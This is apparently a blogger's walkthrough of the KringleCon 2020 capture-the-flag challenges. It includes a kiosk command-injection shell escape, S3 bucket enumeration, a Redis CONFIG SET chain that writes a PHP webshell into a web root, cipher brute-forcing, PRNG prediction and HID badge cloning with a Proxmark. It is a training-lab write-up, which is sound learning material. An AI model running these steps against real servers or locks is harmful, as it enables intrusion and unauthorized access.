KringleCon 2020!

Table of Contents

Welcome back to KringleCon! I hope no one with Covid turns up, or that Santa has some good contact tracing measures in place.

After being greeted by Jingle Ringford, I get my first challenge.

Objective 1: What’s written on the advertising billboard

The first part of this challenge is just seeing the advertising billboard; it looks like it’s too far up to the top right to fit in my screen.

Getting a bigger screen isn’t currently feasible, so let’s look at the source:

<div class="env-production viewport v-staging open browser-chrome token-jingleringford^^^initial token-staging_visited token-giveHintDeBlur2 token-giveObjDeBlur token-giveHintDeBlur1 token-approach_visited">
   <div class="curtain"></div>
   <div class="camera" style="transform: rotateX(-22deg) rotateY(0deg) rotateZ(0deg) translate3d(-600px, 100px, -150px);">
      <div class="ent player me veteran veteran19 brightness-100" data-location="4,1">
         <div class="xpos x4">
            <div class="ypos y0">
               <div class="zpos z1">
                  <div class="player-username nulltxt" data-username="Zysygy">Zysygy</div>
                  <div class="character-container">
                     <div class="player-badge veteran legendary " style="left: 51%; top: 36.5334%;"></div>
                     <img src="images/export/ATATATTAATATATATATATTATAATATATATATTATACGATATATATATATGCATATATATATATATGCGCATATTATAATATATATATATTATAATATATATATATGCGCATATATGC.png">
                  </div>
                  <div class="shadow"></div>
               </div>
            </div>
         </div>
      </div>
      ...
      <div class="ent player brightness-100" data-location="6,0">
         <div class="xpos x6">
            <div class="ypos y0">
               <div class="zpos z0">
                  <div class="player-username nulltxt" data-username="[censored]">[censored]</div>
                  <div class="character-container">
                     <div class="player-badge   " style="left: 52%; top: 42.5334%;"></div>
                     <img src="images/export/ATATATTAATATATATATATTATAATATATATCGATTACGATATATATATATTATAATATATATATATTAATATATCGATATATATATATATATATATATATATATATTATAATATTAGC.png">
                  </div>
                  <div class="shadow"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="ent npc npc-jingleringford brightness-100 p-8-1" data-location="8,1">
         <div class="xpos x8">
            <div class="ypos y0">
               <div class="zpos z1">
                  <div class="npc-username">Jingle Ringford</div>
                  <div class="npc-avatar"></div>
                  <div class="shadow"></div>
               </div>
            </div>
         </div>
      </div>
      <canvas class="lighting"></canvas>
      <div class="door-clicker one" style="transform: translate3d(500px, -200px, 0px);"></div>
      <div class="door-clicker two" style="transform: translate3d(500px, -200px, 0px) rotateY(90deg);"></div>
      <div class="door-clicker three" style="transform: translate3d(600px, -200px, 0px) rotateY(90deg);"></div>
      <div class="gondola">
         <div class="gondola-front"></div>
         <div class="gondola-back"></div>
         <div class="gondola-roof"></div>
         <div class="gondola-end-left">
            <div class="gondola-end-top"></div>
            <div class="gondola-end-bottom"></div>
         </div>
         <div class="gondola-end-right">
            <div class="gondola-end-top"></div>
            <div class="gondola-end-bottom"></div>
         </div>
      </div>
      <div class="exit"></div>
      <div class="asphalt"></div>
      <div class="lane1"></div>
      <div class="lane2"></div>
      <a class="billboard-sign" href="textures/billboard.png" target="_blank"></a>
      <div class="billboard-pole"></div>
      <span></span>
      <div class="floor" alt="" style="width: 1100px; height: 1000px; transform: translate3d(0px, 0px, -200px) rotateX(90deg); background: url("textures/fabric/staging_floor.png") no-repeat;"></div>
   </div>
</div>

Two lines stand out:

<div class="camera" style="transform: rotateX(-22deg) rotateY(0deg) rotateZ(0deg) translate3d(-600px, 100px, -150px);">

This could probably be used to change those transformations so that the camera shows the billboard. But there’s also this line:

<a class="billboard-sign" href="textures/billboard.png" target="_blank"></a>

Which is presumably the billboard I’m looking for so I’ll take the lazy route and just click the link.

Now I just need to unswirl the gift list. I don’t have photoshop, so I’m going to try this free online tool.

After playing around with the settings for (quite) a while, I couldn’t restore the image (image-manipulation is definitely not my strong point!), but by setting the radius to 500 and the angle to -5.3, it’s sufficiently readable for me:

Definitely not my finest work, but it gets me the answer, and something to add to my own wishlist: Proxmark!


After taking the gondola to the next area, I meet Jewel Logins, who welcomes me to the Con and suggests I might want to pick up anything I find on the ground. Interesting… but Jewel has nothing for me to do, so onto the next elf!

Shiny Upatree shows me a kiosk where I can get a map and also print badges – although apparently someone has complained about it being “ingestible” and would like me to make sure nothing is wrong.

I’m stoked to have my first terminal challenge:

Terminal challenge 1: Kringle Kiosk

Solving this just requires launching a shell to escape the command line program.

But first, I think option 1 is a good idea since a map might be useful to have:

The code of conduct is all what you’d reasonably expect; the directory shows the elves and where they are (a bit creepy – I’m glad my employers don’t keep that close an eye on me!), and printing the badge displays very cute ASCII art

but also something further to explore. Command line escaping makes me think I should probably try ' && <command> which gave an interesting error:
bash: -c: line 0: unexpected EOF while looking for matching `''bash: -c: line 1: syntax error: unexpected end of file

So it seems the program isn’t enclosing the name in any form of quotations: && /bin/bash is enough:


Shinny Upatree doesn’t thank me for finding that (rude!), but instead lets me know they’ve been having a problem with the s3 bucket and asks if I can find Santa’s package.

Objective 2: investigate the s3 bucket

For this objective, I need to find the public S3 bucket and then get the text in the file from it. I’m given access to a terminal which has a convenient instance of the bucket_finder.rb tool to help find the public bucket, along with a wordlist for the buckets to find.

But unfortunately running this (./bucket_finder.rb wordlist), only finds a list of private buckets:

http://s3.amazonaws.com/kringlecastleBucket found but access denied: kringlecastle
http://s3.amazonaws.com/wrapperBucket found but access denied: wrapper
http://s3.amazonaws.com/santaBucket santa redirects to: santa.s3.amazonaws.com
http://santa.s3.amazonaws.com/ Bucket found but access denied: santa

So clearly I need to try different words. How about wrapper3000, since the instructions mention that? Turns out it is public so I can put wrapper3000 in a text file (wordlist2) and then run ./bucket_finder.rb wordlist2 --download to download the bucket.

Inside, there’s a file package. The file command reports this as ascii with really long lines, so, while unlikely, it seems worth just using cat to see if that’s the answer:

Unfortunately not, but it looks very much like base64 so I can decode that and then uncompress each archive based on the file extension listed, to get the answer: North Pole: The Frostiest Place on Earth.


Now that I’ve solved two objectives, it seems like I’m well overdue for a talk to Santa; it’s probably a bit rich that I complained about Shinny Upatree not thanking me for my help but have taken this long to greet the host of the event!

Santa was lovely and invited me to look around, so it’s time to talk to Pepper Minstix. Apparently she’s accidentally detached her tmux session and wants help getting it back so she can continue looking at her bird.

Terminal Challenge 3: Tmux

Fortunately, there’s a helpful Tmux cheatsheet that tells me I can run tmux list-sessions to see what sessions exist. There’s only one, so tmux a will restore it.

Well, I found her, but I’m not convinced it’s a bird… Looks a bit like a Kea sitting on a Kiwi beak. The cheat sheet suggests ctrl + b + a sideways arrow key will resize this, but alas, it doesn’t seem to. Hopefully I’ll have time to come back to see if there’s something secret buried here.


After talking to Pepper Minstix, I’m surprised that she not only thanked me for my help but also offered to help me! She says the special Santa-elevator is being a bit wonky, so I need to find the key and some other things hidden around the floor to make it work (surely health and safety means there are stairs somewhere, in case of a fire, right? I’m happy to just take those…).

There’s nothing more to do here, so I suppose I’ll head into the hall and see if I can find those things. There’s a broken candystick by the door, so that’s the first item down.

Looking at the map from above, there’s an asterix in the top right so perhaps there’s something interesting there* See footnotes. Perhaps it’s Santa? He has a self-portrait behind him which was apparently gifted to him by an anonymous admirer; that doesn’t sound suspiciously like a Trojan horse at all. Everything is fine.

It’s a jpeg file:

so there may be embedded malware, but Virus Total doesn’t seem to think it’s a problem. I remember hearing stories about malicious jpeg files earlier this year, but I don’t remember where or how you’d check the jpeg files, so I googled it and found this fantastic Sans article. Running their script provides the following:

There aren’t any comments, and I don’t know enough to know if any of the other segments are suspicious, so perhaps I’m just being overly paranoid. Hopefully I’ll be able to come back to this too.

Piney Sappington is nearby, so I should say hi, but he his response is a secret so I can’t say anything more.

Ribb Bonbowford has a JavaScript challenge for me – as someone who’s programmed JavaScript professionally, it’ll be embarrassing if I struggle with this, so I won’t even risk getting hints.

Terminal Challenge 3: Programming Concepts

Unfortunately I didn’t think to get a screen shot of level 7, so you’ll have to reach the spiral challenge before the following will make sense.

These were, for someone with a software dev background, relatively trivial coding challenges so I’ll only mention the two bonus levels.
If I was allowed an unlimited number of commands, the answer would be trivial:

elf.moveDown(1)
elf.pull_lever(0)
elf.moveLeft(2)
elf.pull_lever(1)
elf.moveUp(3)
elf.pull_lever(2)
elf.moveRight(4)
elf.pull_lever(3)
elf.moveDown(5)
elf.pull_lever(4)
elf.moveLeft(6)
elf.pull_lever(5)
elf.moveUp(7)
elf.pull_lever(6)
elf.moveRight(8)
elf.moveUp(2)
elf.moveLeft(4)
// ask and answer munch
elf.moveUp(1)


But there is a limit, so that answer doesn’t work. Fortunately, there is a clear pattern – move<direction>(val). pull_lever(val-1) with each loop incrementing the number, and the direction rotating through down, left, up, right. In code, that looks like:

directions = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight]
for (var i = 0; i < 8; i++) {
  directions[i % 4](i + 1);
  elf.pull_lever(i);
}
elf.moveUp(2)
elf.moveLeft(4)
elf.ask_munch(0)
elf.tell_munch(function(arr) {
  return arr.flat().reduce(function(acc, val) {
    if (typeof(val) === "string") {
      return acc
    }
    return acc + val
  })
});
elf.moveUp(1)

Level 8:

This can follow the same approach; write out the manual steps and then find the pretty clear pattern:

var direction = [elf.moveRight, elf.moveLeft]
var amount = 1;
var sum = 0
for (var i = 0; i < 6; i++) {
  direction[i % 2](amount);
  amount += 2;
  sum += elf.get_lever(i);
  elf.pull_lever(sum);
  elf.moveUp(2);
}
elf.tell_munch(function(arr) {
  for (var i = 0; i < arr.length; i++) {
    for (var j = 0; j < Object.entries(arr[i]).length; j++) {
      var key = Object.entries(arr[i])[j];
      if (key[1] == "lollipop") {
        return key[0];
      }
    }
  }
});
elf.moveRight(12);

Next, I run into Bubble Lightington who just expresses concern that Santa is too stressed, but above him is a green bulb to collect. Next are the sponsors – huge shout out to Sans for running this every year, but also Google, Splunk and the RSA Conference for keeping this fun game free!

By the fire, Jack Frost comments that the portrait of Santa is great. Given his presence last year, I guess I wasn’t being paranoid about that jpeg…

SugarPlum Mary has a linux challenge for me, so I’ll worry about that later.

Terminal Challenge 4: Linux Primer

I forgot the details of netstat / lsof, so had to take a small break to RFTM.

Objective 3: Point of Sale Site

SugarPlum Mary is locked out of her PoS site since it’s asking for a password but she hasn’t set one. There’s a .exe file to download, which I guess I should run… I was feeling lazy though, so I figured I’d see if I could just decompile it in Ghidra and find the answer. The image suggests that the file should ask for a “supervisor password” and I couldn’t find this in any of the .exe’s strings, so perhaps not.
Running file santa-shop.exe shows the file is a “self-extracting archive” (which explains why the string wasn’t there) and the Wikipedia article on that suggests I should use WinRar. Using that results in an “app.asar” file which can be extracted using the asar package: asar extract app.asar <outdir>.
Opening the “outdir” folder in VS Code means I can search for “supervisor” which brings me to renderer.js:

and then searching in that file for the checkPassword method shows this calls an “unlock” method:

so searching for that in all files brings me to main.js

And gives me the answer: santapass

After briefly looking for easter eggs here later, I noticed that this also has a README that says where to find the password. Oops.


Moving along, I see Angel Candlesalt who reckons I can’t get into their terminal since it uses biometrics. Suure. But perhaps I won’t need to do anything too drastic, so after admiring the grandfather clock, I think I’ll move to the next room.

Terminal (?) Challenge 5: Modem Issues

Fitzy Shortstick is complaining about the Cloud, since all the Christmas tree lights are controlled through that, but their modem is broken. We’re given a link of old modem noises and the number 756 8347 to call.

Kudos to whoever made modem sounds into words

So after clicking on the handset and typing in the number, I hear the dial up noise (and my childhood memories brings back a strong urge to ask my mother if she could please stop using the phone so that I can play computer games!). It seems like I’m meant to recreate the modem noises, which fortunately isn’t too hard given the small number of options, or at least, isn’t after I finally scroll down and notice the bottom one (oops!).
The sequence ends up being: baa DEE brrr, aaah, WEWEWwrwrrwrr, beDURRdunditty, SCHHRRHHRTHRTR which says the lights have been restored and unlocks this achievement!


Fitzy thanks me and informs me that Santa really trusts Shinny Upatree…?

Disappointingly, I don’t seem to be able to eat the cotton candy on the kitchen bench, so I head over to Holly Evergreen who’s having issues with her server.

Terminal Challenge 6: Redis

This challenge asks me to retrieve the source code for index.php using redis’ maintenance port (http://localhost/maintenance.php).

If I curl to that page, I get an error about the ‘cmd’ argument being required. But the only commands I know in Redis are GET, SET and EXPIRE for key-values — absolutely nothing that will be useful for RCE. To Google!

Redis 6.0, which will introduce new security features such as access-control lists (ACLs). However, as of now, Redis users with instances that don’t bear Transport Layer Security (TLS) encryption, password protection, or both are susceptible to having over 200 commands available once attackers get inside the environment. At present, Redis does not have authentication set by default. 

https://blog.trendmicro.com/trendlabs-security-intelligence/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining/

I can use the LOLWUT command to see commands are running correctly and that the Redis version is 5.0.3. This doesn’t seem to have any public vulnerabilities that would help me read files though (or at least, not easily), but Holly Evergreen linked this article that explains webshells as a very helpful hint.

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK


Holly Evergreen also hinted that she got confused between + and , which explained why half my commands weren’t working! For some reason, arguments need to be separated by a , rather than a space (URL-encoded as +).

All that is needed, then, is to copy that example, but find the proper root directory, change the PHP code to output input.php and reformat it to be passed through the maintenance URL.
I can probably find the server by either viewing the HTTP headers, or (my preference) checking its 404 page. curl http://localhost/doesnotexist reports the server is Apache/2.4.38 on Debian so the web server’s root directory is /var/www/html. Indeed, trying to cd there (just in case Redis isn’t needed at all!) says the directory exists but I don’t have permission to just access it directly.
I could change the PHP code to upload a complete webshell, but I always aim to write as little PHP as necessary and I only want the source of index.php, so I’ll just use "<?php system("cat ./index.php"); ?>". This needs to be URL encoded so it can be passed through by CURL.

Thus our commands are simply:

curl http://localhost/maintenance.php?cmd=CONFIG,SET,dir,/var/www/html
curl http://localhost/maintenance.php?cmd=CONFIG,SET,dbfilename,zysygy.php
curl http://localhost/maintenance.php?cmd=SET,webshell,%E2%80%9C%3C%3Fphp%20system%28%22cat%20.%2Findex.php%22%29%3B%20%3F%3E%E2%80%9D
curl http://localhost/maintenance.php?cmd=SAVE


and then view the source with curl http://localhost/zysygy.php

I also used Redis’ KEYS * command and DEL command to delete the existing keys

Now that that’s sorted, and I still can’t eat the cotton candy :(, I head over to Sparkle Redberry to pick up the key to the Santavator.
After a bit more exploring and a trip in the Santavator up to the Talks Lobby, I come across my next challenge:

Terminal Challenge 7: Speaker Unprep

This challenge asks me to find the password in the ./door binary; so I can simply use strings ./door and then look through the output to find the answer.

And don’t forget, the password is Op3nTheD00r

Bushy Santagreen mentions another lock in the castle that he’d like investigated but I need to use a Procmark3 to interact with it.

I also need lights.conf decrypted. In the terminal there’s a lights executable and a vending machine executable. Deleting lights.conf and then running ./lights just leads to an error message, but deleting vending-machines.json and then running ./vending-machines allows me to create the JSON file with my own choice of password. I can experiment with this to determine what sort of cipher is being used, by determining the following mappings:

a -> 9
aa -> 9V
aaa -> 9Vb
aaaaaaaa -> 9Vbtacpg
ab -> 9U
ba -> GV


this shows that the encryption isn’t a simple alphabet substitute; the character’s position in the string affects its encrypted value. I thought about re-watching last year’s talk on reversing crypto, but the username doesn’t seem to matter, the encryption is constant (eg, not based on time or anything else outside of my control), and the key is pretty short, so I caved to laziness and decided to just brute force it.
I don’t particularly like writing bash scripts, and jq wasn’t installed, so I decided to take a semi-manual approach.
This script:

chars=( {a..z} )
for ((i=0; i<26; i++)); do rm vending-machines.json; printf "${chars[i]}\n${chars[i]}" | ./vending-machines; cat vending-machines.json; done;

will iterate through a-z and print out the result of encrypting each. If none match the encrypted password then I’d switch chars to {A..Z} / {0..9} and try again. Once a matching character was added, I’d update the username/password input "<known character>${chars[i]}\n<known character>${chars[i]}" (the username doesn’t matter, but it’s printed in plain text so it made it easier to keep track of).
A dictionary attack may have been quicker, but would’ve required more Bash, and coupled with a bit of guesswork, it didn’t take too long to find the password is CandyCane1.
I thought this would help with the lights challenge, but it turned out to be a completely unrelated challenge that I was meant to do after.
Unfortunately the same approach doesn’t work for light; deleting parts of the password from lights.conf so that I could brute-force only a portion of it would cause the program to error, either claiming the password was missing or invalid; so it must be a more complicated block cipher.
My next thought was to see if the password was in the binary, so I tried strings lights which found one string that looked interesting: espemosarenegylmodnarodsetybdet but I couldn’t find anyway to decrypt that. I still don’t know if it has any significance, though I suppose probably not.
Fortunately, I then noticed Bushy Evergreen’s hint, and copied the password field of lights.conf into the name field:

The answer is Computer-TurnLightsOn, and all these challenges are solved!


Through in the speaker unpreparedness room, Tangle Coalbox wants to understand how people have managed to beat the snowball fight game on the impossible level.

Terminal Challenge 8: Snowball Fight

Tangle hints that this has something to do with the pseudo-random number generator being very pseudo and not very random, and the instructions says that I can choose my name in the easy level, but for the impossible level, I won’t even see my name, just which names were rejected.
On the impossible level, there is indeed a list of rejected numbers in the source code:

so if I copy these, remove the ” – Not random enough” suffix and pipe it to this mersenne-twistor-predictor, then the first number it outputs is the name used for the impossible level.
There may be a way to figure out the answer quickly from the easy level, but the grid is pretty small and there doesn’t appear to be a limit on the number of guesses you can make since the computer repeats their old guesses, so I just opened a new tab with the predicted name and used an exhaustive search:

and then fed the correct guesses into the impossible level instance:


Continuing my explorations, I find Alabaster Snowball on the Netwars Roof who has another terminal challenge.

Terminal Challenge 9: Scapy Prepper

Submit the class object of the scapy module that sends packets at layer 3 of the OSI model

The OSI model is a 7-layer model of communication with the first layer being the physical, the second being data-link (eg the ALOHA protocol), the third being the network layer (eg IP), the fourth being the transport layer (eg TCP and UDP) and the rest is all stuff I ignore.
So presumably the class is IP – we can check the docs to see that the IP class does exist.

Hmm, so if we look at those docs, it looks like they’re talking about the scapy.sendrecev.send – but that looks like a method, not a class.

My inner-Python pedant is frustrated about this not being a class; and my inner paranoia wonders if the reference to a function counts as a class?

Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.

Ctrl-f for sniff finds the answer.

Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named “pkt”:
1. pkt = sr1(IP(dst=”127.0.0.1″)/TCP(dport=20))
2. pkt = sniff(IP(dst=”127.0.0.1″)/TCP(dport=20))
3. pkt = sendp(IP(dst=”127.0.0.1″)/TCP(dport=20))

According to the docs:


sr1: Send packets at layer 3 and return only the first answer
sniff: Sniff packets and return a list of packets.
sendp: Send packets at layer 2

Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.

Searching the docs again finds this pretty quick: rdpcap.

The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
2. UDP_PACKETS.show()
3. UDP_PACKETS.list()

It looks like the Packet class has a show method but no print or list.

Submit only the first packet found in UDP_PACKETS.

I’ll just assume what happens if we treat UDP_PACKETS as a list:

>>> UDP_PACKETS[0]
<Ether  dst=00:c0:9f:32:41:8c src=00:e0:18:b1:0c:ad type=IPv4 |<IP  version=4 ihl=5 tos=0x
0 len=60 id=0 flags=DF frag=0 ttl=64 proto=udp chksum=0x6543 src=192.168.170.8 dst=192.168
.170.20 |<UDP  sport=32795 dport=domain len=40 chksum=0xaf61 |<DNS  id=30144 qr=0 opcode=Q
UERY aa=0 tc=0 rd=1 ra=0 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd
=<DNSQR  qname='www.elves.rule.' qtype=A qclass=IN |> an=None ns=None ar=None |>>>>

Looks right.

Submit only the entire TCP layer of the second packet in TCP_PACKETS

So I can get the second packet using TCP_PACKETS[1] and then using dir(TCP_PACKETS[1]), I can see there’s a layers method which returns a list – the third of which is the TCP layer.

Apparently not, but the error message tells me the answer

Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet

Looking at the dir output above, there’s a src attribute that might be relevant

Submit the password “task.submit(‘elf_password’)” of the user alabaster as found in the packet list TCP_PACKETS.

I can view the hexdump of each packet individually, or use a loop to see all of them:

for packet in TCP_PACKETS:
    hexdump(packet)

The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.

I can use the .chksum property and combine it with the list indexing and the [ICMP] indexing used above: task.submit(ICMP_PACKETS[1][ICMP].chksum)

Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named “pkt”
1. pkt = Ether(src=’127.0.0.1′)/ICMP(type=”echo-request”)
2. pkt = IP(src=’127.0.0.1′)/ICMP(type=”echo-reply”)
3. pkt = IP(dst=’127.0.0.1′)/ICMP(type=”echo-request”)

Searching the docs shows that this is 3:

This first example takes an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet:

#! /usr/bin/env python

import sys
from scapy.all import sr1,IP,ICMP

p=sr1(IP(dst=sys.argv[1])/ICMP())
if p:
    p.show()

Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)

I need an IP packet for the destination and a UDP packet for the port, so I can create it using IP()/UDP() and then set .dst = ‘127.127.127.127’ and .port = 5000.

Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of “elveslove.santa”. (all other packet attributes can be unspecified)

Building on what I’ve learnt before, and the docs for creating a DNS query, I simply need: IP(dst="127.2.3.4")/UDP()/DNS(qd=DNSQR(qname="elveslove.santa")). Port 53 doesn’t need to be specified since it’s the default.

The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.

Compare the response with the request show there are three fields haven’t been set: op, hwsrc, and hwdst. Op, should be “is-at”, but I’m not sure about the other two. Perhaps I can send the request again and fix it that way?

Nope.

On further thought, hwdst should be the same as the packet that sent the request “00:16:ce:6e:8b:24” but the src could be anything since MAC addresses are random…
After trying a bunch of random valid addresses, I finally realised the ethernet packet contains the result.


Now that’s complete, I headed over to Wunorse Openslae who wanted help with a CAN bus since they’re recorded themselves locking and unlocking the car three times but couldn’t then find the unlock code in the logs.

Terminal Challenge 10: CAN-Bus Investigation

Welcome to the CAN bus terminal challenge!
In your home folder, there’s a CAN bus capture from Santa’s sleigh. Some of the data has been cleaned up, so don’t worry – it isn’t too noisy. What you will see is a record of the engine idling up and down. Also in the data area LOCK signal, an UNLOCK signal, and one more LOCK. Can you find the UNLOCK?
We’d like to encode another key mechanism. Find the decimal portion of the timestamp of the UNLOCK code in candump.log and submit it to ./runtoanswer! (e.g., if the timestamp is 123456.112233, please submit 112233)

Running cat candump.log shows a heap of lines of <time> vcan0 244#<data>, which makes it hard to find the relevant number. Filtering this out using | grep -v "vcan0 244" shows there are a heap of 188 instructions, and also three 19B instructions

So the answer is 122520.


There’s also a yellow bulb here, which means I can finally get to the workshop!

In the workshop, there’s a large marble and Minty Candycane wants help with JavaScript regexs to sort presents from misfit toys, which inevitably means I’m going to need regex101.com.

Terminal Challenge 11: Sort-O-Matic

Matches at least one digit

The \d modifier will only match digits. I could add the “at least one” qualifier + to make it more explicit, but the shortest answer is simply \d

Matches 3 alpha a-z characters ignoring case

The shortest answer would be to use the /i flag to make it case insensitive, but I’m not sure how to do this, so I’ll just specify the characters allowed, and then use the {} to quantify the number:
[A-Za-z]{3}

Matches 2 chars of lowercase a-z or numbers

Combine the first two answers to get this: [a-z\d]{2}

Matches any 2 chars not uppercase A-L or 1-5

I can just add the not ^ operator: [^A-L1-5]{2} The challenge accepted this answer, although it could be argued that it’s wrong: aAa has two characters that aren’t A-L or 1-5 but doesn’t match since the regex requires them to be consecutive characters. It’s unclear from the instructions whether the characters need to be consecutive; if they don’t need to be, the regex would need to be something like [^A-L1-5].*[^A-L1-5]. There’s probably a way to make that shorter…

Matches three or more digits only

I can use the start of string ^ and end of string $ anchors for this: ^\d{3,}$

Matches multiple hour:minute:second time formats only

The extra details say it should support 24-hour times (unfortunately), so the hour is valid if it’s 0-1 (optionally) and then any digit, or 2 followed by any digit up to 4: ^([0|1]?\d|2[0-4]). It then needs to match the separator :. Minutes and seconds are both valid if they’re 0-5 followed by any other number: [0-5]\d, so then I just need to combine this to create ^([0|1]?\d|2[0-4])(:[0-5]\d){2}$

Matches MAC address format only while ignoring case

A MAC address is hex numbers, so a-fA-F\d twice, and six of those all separated by :. I think the easiest way to do this is just look for five of the “hex-hex:” pattern and then a final hex-hex. Looking for all six makes it hard (impossible?) to enforce the : separators:

^([\da-fA-F]{2}:){5}[\da-fA-F]{2}$

Matches multiple day, month, and year date formats only

Ugh. This isn’t good; I thought about doing this at work the other day before deciding it was a terrible idea and used an inbuilt time converter library.
I can kind of fake it by saying that the first two fields can be either a month or a day, which means 0, 1 or 2 followed by any digit or 3 followed by 0 or 1. We then have a separator which could be /. or – (in regex: [\/\.-]). Then another month or day, the first separator again (group constructor \2) and then four digits. So that gives the result: ^([012]?\d|3[01])([\/\.-])([01]\d|2\d|3[01])\2\d{4}$ which is fortunately good enough, although it does mean a bunch of invalid dates are accepted (bring on the 31-31-2021!)


Minty Candycane suggests trying the Splunk challenge but that’s probably still not accessible, and I’m not quite ready to steal an elf’s finger, so instead I head into the side room and find a rubber ball and the Proxmark3.

Objective 5: Open HID lock

According to Noel Boetie, the tag generator is playing up, but I’m not allowed to try to help, so I suppose I should figure out how to use the Proxmark on the locked door in the previous room.
Of course, I need a card to clone. Running lf hid read next to Minty isn’t working, so I suppose I should head back to Santa… but no, it seems like he doesn’t have his card on him, nor does Jack Frost or any of the nearby ground floor elves.
After a long period of searching, it turns out Noel Boetie has a card! So I can use lf hid help to find out what command I need to run; it looks like lf hid sim but if I just run that, it tells me I need the card number from Noel: #db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000. However, adding that doesn’t work either, nor does specifying the facility code and card number (lf hid sim -r 2006e22ee1 --fc 113 --cn 6000). Perhaps Noel doesn’t have access.
A (not-entirely-comprehensive) wander around the floors gets me two more options:
Sparkle Redberry: #db# TAG ID: 2006e22f0d (6022) – Format Len: 26 bit – FC: 113 – Card: 6022
Shinny Upatree: #db# TAG ID: 2006e22f13 (6025) – Format Len: 26 bit – FC: 113 – Card: 6025
and fortunately Shinny Upatree has access (I guess I should’ve figured that out from Fitzy’s comment)!

After going through that door, I end up in a pitch black room. Since I’m secretly a moth, I can’t help but walk towards the light and I end up… as Santa with teleportation skills? Uhhh… I’m not prepared to deal with this responsibility! All the other attendants are also missing.

I suppose this means I can now access the Splunk challenge without having to commit minor disfigurement, so let’s do that!

Objective 6: Splunk Challenge

The Splunk challenge is available here and fortunately contains helpful beginner challenges.

How many distinct MITRE ATT&CK techniques did Alice emulate?

First step is to talk to Alice since she might just tell us. And indeed, she tells us that she stored each by index and we can use | tstats count where index=* by index but that elves may get confused between techniques and sub-techniques, so the 26 that search shows probably isn’t right. There’s probably a way to get Splunk to figure this out, but since there are only 26 results, it’s easy to just scan through and look at the prefix of each string to count 13 distinct ones.

What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)

The last results specify this: t1059.003-main t1059.003-win

One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?

Alice links to the Atomic Red Team Github and a search of that reveals T1082 is the index I need. So if I search index=t1082-win MachineGuid, I find

<Data Name='RuleName'>-</Data><Data Name='UtcTime'>2020-11-30 20:42:59.308</Data><Data Name='ProcessGuid'>{5224BDFA-5953-5FC5-C16E-000000007F01}</Data><Data Name='ProcessId'>4740</Data><Data Name='Image'>C:\Windows\System32\cmd.exe</Data><Data Name='FileVersion'>10.0.14393.0 (rs1_release.160715-1616)</Data><Data Name='Description'>Windows Command Processor</Data><Data Name='Product'>Microsoft® Windows® Operating System</Data><Data Name='Company'>Microsoft Corporation</Data><Data Name='OriginalFileName'>Cmd.Exe</Data><Data Name='CommandLine'>"C:\Windows\system32\cmd.exe" /c "REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid" </Data><Data Name='CurrentDirectory'>C:\Users\ADMINI~1\AppData\Local\Temp\</Data><Data Name='User'>ATTACKRANGE\Administrator</Data><Data Name='LogonGuid'>{5224BDFA-594D-5FC5-FB75-C10200000000}</Data><Data Name='LogonId'>0x2c175fb</Data><Data Name='TerminalSessionId'>0</Data><Data Name='IntegrityLevel'>High</Data><Data Name='Hashes'>MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A</Data><Data Name='ParentProcessGuid'>{5224BDFA-594E-5FC5-B46E-000000007F01}</Data><Data Name='ParentProcessId'>4432</Data><Data Name='ParentImage'>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data><Data Name='ParentCommandLine'>"powershell.exe" -noninteractive -encodedcommand 